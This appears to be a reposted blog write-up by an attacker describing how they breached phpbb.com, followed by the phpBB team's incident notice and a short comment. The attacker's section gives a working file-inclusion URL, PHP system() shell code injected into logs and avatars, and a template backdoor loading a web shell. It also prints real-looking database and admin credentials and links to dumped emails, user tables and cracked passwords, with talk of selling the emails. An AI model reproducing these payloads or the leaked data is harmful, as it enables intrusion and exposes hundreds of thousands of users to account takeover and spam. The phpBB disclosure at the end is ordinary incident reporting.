http://hackedphpbb.blogspot.com/

It all started on Jan 14th when I was surfing milw0rm and came across this exploit: http://www.milw0rm.com/exploits/7778 I then remembered that phpbb.com was running PHPlist and went looking through my email to find the link to the script’s location. So I went to phpbb.com/lists and sure enough they were running a vulnerable version. Next I enabled my favorite program proxy program and tried http://www.phpbb.com/lists/admin/index.php?_SERVER[ConfigFile]=../../../../../../etc/passwd and sure enough it included the etc/passwd

http://hackedphpbb.pastebin.com/f70f8bcaf
http://rapidshare.com/files/192159914/etc.txt

So I moved on to /etc/httpd/conf/httpd.conf
http://rapidshare.com/files/192163061/httpd.txt
http://hackedphpbb.pastebin.com/d29d8d4c7

And eventually found my way to their error log /home/logs/phpbb.com/error_log. After a little looking I figured out that their forums were running off /home/virtual/phpbb.com/community/ well it has been known for some time that you can include code in the error log. So I wanted to run some code, well in PHPBB3 the avatars are located in a folder called /home/virtual/phpbb.com/community/images/avatars/upload and your avatar is called (secret hash)_userid.jpg. But I didn’t know what the secret has was to include my picture (that had my own code in it) so by using the error log I injected code <?php system("ls /home/virtual/phpbb.com/community/images/avatars/upload") ?>
And figured out that their hash is f51ee61fe7a83fdf72780912bced0855. So now every time I want to upload run code against the server I can include this: /../../../../../../home/virtual/phpbb.com/community/images/avatars/upload/f51ee61fe7a83fdf72780912bced0855_ID.jpg

So my first avatar was something simple <?php system($_POST("c")); ?> and I wanted to see if phpbb kept their config file in plain text so cat /home/virtual/phpbb.com/community/config.php and sure enough, its in plain text.
$dbms = 'mysqli';
$dbhost = 'phpbb.db.osuosl.org';
$dbport = '';
$dbname = 'phpbb';
$dbuser = 'phpbb2';
$dbpasswd = 'saxM9nfRjLbJ2Yy5';
$table_prefix = 'community_';

While I was at it I checked out the config for PHPlist and it was also in plain text:
$database_host = "localhost";
$database_name = "phpbb_phplist";
$database_user = 'phplist';
$database_password = 'Berti3_Danc3';

So I started running commands and found out that I can upload a php text file on the forums and by finding where the path it was stored I was able to get around their 14kb restrictions on avatars and a lot easier than editing images with edjpgcom. So doing a mysql dump of the phplist_admin table it showed in plain text that the password for the one admin account was phpbb_n3ws and the login was phpBB. Wow I am shocked no one brute forced this. So I login and see what I can come across, wow 400,000 registered emails, I’m sure that will go quick on the black market, sorry people but expect a lot of spam. After trying to modify the files that were stored in PHPlist I gave up and moved on to the forums. But not before dumping the PHPlist emails here: http://rapidshare.com/files/192305758/out.txt

On the phpbb forums it states it has 200,000 members, but due to them constantly getting spammed they have well over 400,000 accounts. I started dumping the community_users table with their user_id, username and user_password. PHPBB stores their user’s passwords in unsalted md5 and their admin’s passwords in some funky hash. But if you run your own forum and are an admin you can have your forums create the hash, and then you do an mysql update to one of the admin account’s and your in. Or if you change their password to yours you can use the recover password function. More to come from this later.

So I wrote a script that submits via curl, the md5 hash to a website and then stores the successful result in my own mysql database. The total accounts cracked are: 28635. I could have continued cracking but it was getting boring. Here is a sql file of the cracked passwords. Warning, some of the user name’s aren’t right as I had to remove ticks and quotes for it to run in my script, so I included their user id so you can check their proper login name.

In gaining access to the admin panel of the forums, I was able to read staff forums and come across some interesting posts. I will share some with you.

List passwords:
TO try and make this easier, below is a list of the mailing list passwords I had, please update and add any others that you have

Told you they were random Meik ;)

edit by dhn: added website-commits
edit by tm: added phpbb-honey-commits, st--tool-commits, iit-track-commits.

That password should work for all mailing lists on code.phpbb.com.

Emergency contacts and irc info:
http://hackedphpbb.pastebin.com/f1399b3e8

And then I remembered that the admin panel allows you to dump tables. So I dumped the users table which is accessible here:
http://rapidshare.com/files/192261517/backup_sql.gz

Next I enabled php in template files and added this bit of code to one of the templates:
<!-- PHP -->$ip=$_SERVER['REMOTE_ADDR']; if($ip == "x.x.x.x"){include("/home/virtual/phpbb.com/community/files/(myid)_82ec9f9eb80df2a16cc3638429631c9f");}<!-- ENDPHP -->

Which happened to be a shell, R57shell actually. I then searched for a writable directory and created a php file and wrote the source code to that file. I cleaned up the template and settings and logs and left the forums to run the way they were.

After searching around using the shell I came across the Blog settings:
define('DB_NAME', 'wordpress'); // The name of the database
define('DB_USER', 'blog'); // Your MySQL username
define('DB_PASSWORD', 'htsCCvyCnt5jPYMx'); // ...and password
define('DB_HOST', 'localhost'); // 99% chance you won't need to change this value
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');

And now it comes to an end, you may ask why did I do this? For fun mainly, but what I would like to suggest to the team at phpbb is this. If you are going to run third party scripts, either integrate them or keep up to date on their patches. (even though the patch wasn’t released for 2 weeks). Also don’t allow admin’s to recover their passwords, they should have to contact another admin. Another item, doesn’t keep plain text files of passwords or in the database plain text passwords.

I know this isn’t the best read, but it is very hard to look back on everything you did over the course of a few weeks. But hopefully I can now sleep better knowing that I am not worrying about the next way to break in.

a copy from here http://area51.phpbb.com/phpBB/viewtopic.php?f=71&t=29973

As you may already be aware from the message on phpBB.com or the topic in the #phpBB channel on Freenode, we have recently been attacked via a vulnerability in an outdated PHPList installation. It is important to stress that no vulnerabilities have been found in the phpBB software itself.

We took area51.phpBB.com down along with phpBB.com to ensure integrity and prevent further damage. While we actively work to bring phpBB.com back online, we would also like to inform you of the damage that has been done.

The attacker gained entry through the PHPList application and was able to dump a complete backup of the emails on file. He then used the same exploit to access the phpBB.com database. Both the email list from PHPlist and a copy of the phpBB.com users table were then posted publicly.

phpBB3 uses a complex hashing algorithm in order to prevent someone from determining the plaintext value of a password. phpBB2, however, used a much simpler and less secure md5 algorithm to store passwords. This is one of the many reasons why we have decided to no longer support the phpBB2 software. Because hashes cannot be reversed, phpBB3 is set to convert phpBB2 hashes to the new phpBB3 standard during the first user login. Those users who registered while phpBB.com used phpBB2 and did not login on the new phpBB3 board continue to have their password hashes stored in the old format. Passwords stored in the old format are much less secure than those stored in the new format. The attackers have been focusing purely on the passwords stored in the old format.

If the password to your phpBB.com account is used anywhere else (especially with the same username), we strongly recommend that you change it. Using the same password across multiple sites is not security wise and should not be done under any circumstance. Additionally, you should change your password on phpBB.com, when it becomes available.

We apologise that we allowed this to happen by not patching vulnerable software in time. This demonstrates how critically important it is to always make sure that you keep up to date with any software that is running on your machine. At this time, the team is working around the clock to restore phpBB.com and other resources.

Thank you,

- The phpBB Teams

*sigh* Amazing that they still rely on Globals (bad,bad,bad), moreover I reckon they run an old PHP version otherwise you cannot do that.
